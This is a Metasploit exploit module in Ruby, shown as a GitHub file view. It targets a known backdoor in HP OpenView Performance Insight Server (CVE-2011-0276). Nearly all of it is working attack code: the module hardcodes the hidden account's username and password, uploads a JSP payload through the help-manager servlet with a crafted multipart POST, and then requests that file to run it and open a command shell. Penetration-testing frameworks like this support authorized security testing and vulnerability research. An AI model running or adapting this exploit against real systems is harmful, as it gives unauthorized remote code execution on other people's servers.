/
hp_openview_insight_backdoor.rb
116 lines (100 loc) · 3.52 KB
/
hp_openview_insight_backdoor.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'HP OpenView Performance Insight Server Backdoor Account Code Execution',
'Description' => %q{
This module exploits a hidden account in the com.trinagy.security.XMLUserManager Java
class. When using this account, an attacker can abuse the
com.trinagy.servlet.HelpManagerServlet class and write arbitrary files to the system
allowing the execution of arbitrary code.
NOTE: This module has only been tested against HP OpenView Performance Insight Server 5.41.0
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Privileged' => true,
'References' =>
[
[ 'CVE', '2011-0276' ],
[ 'OSVDB', '70754' ],
],
'Targets' =>
[
[ 'Universal Windows Target',
{
'Arch' => ARCH_JAVA,
'Payload' =>
{
'DisableNops' => true,
},
}
],
],
'DefaultOptions' =>
{
'SHELL' => 'cmd.exe'
},
'DefaultTarget' => 0,
'DisclosureDate' => '2011-01-31'))
register_options(
[
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'hch908v' ]),
OptString.new('PASSWORD', [ true, 'The password for the specified username', 'z6t0j$+i' ])
])
end
def exploit
creds = "#{datastore['USERNAME']}" + ":" + "#{datastore['PASSWORD']}"
dir = rand_text_alpha_upper(rand(8) + 1)
page = rand_text_alpha_upper(8) + ".jsp"
uid = rand(20).to_s
file = "-----------------------------#{uid}\r\n"
file << "Content-Disposition: form-data; name=\"filename\"; filename=\"#{page}\"\r\n"
file << "Content-Type: application/x-java-archive\r\n\r\n"
file << payload.encoded + "\r\n"
file << "-----------------------------#{uid}\r\n"
# if (p.getName().equals("location")); ...
file << "Content-Disposition: form-data; name=\"location\"\r\n"
file << "Content-Type: text/plain\r\n\r\n"
file << dir + "\r\n"
file << "-----------------------------#{uid}\r\n\r\n"
print_status("Sending our POST request...")
res = send_request_cgi(
{
'uri' => "/reports/helpmanager",
'version' => '1.1',
'method' => 'POST',
'ctype' => 'multipart/form-data; boundary=---------------------------' + uid,
'data' => file,
'headers' =>
{
=begin
this.internal = new User("hch908v");
this.internal.setName("hidden user");
this.internal.setEncryptedPassword(TrendCrypt.crypt("hch908v", "z6t0j$+i"));
this.internal.addRole("user");
this.internal.addRole("admin");
=end
'Authorization' => "Basic #{Rex::Text.encode_base64(creds)}",
}
}, 5)
if ( res and res.code == 200 )
print_good("Login/Upload successful. Triggering payload at '/help/#{dir}/#{page}'...")
send_request_raw({
'uri' => "/help/#{dir}/#{page}",
'method' => 'GET',
'version' => '1.0',
}, 5)
handler
else
print_error("Login/Upload refused!")
return
end
end
end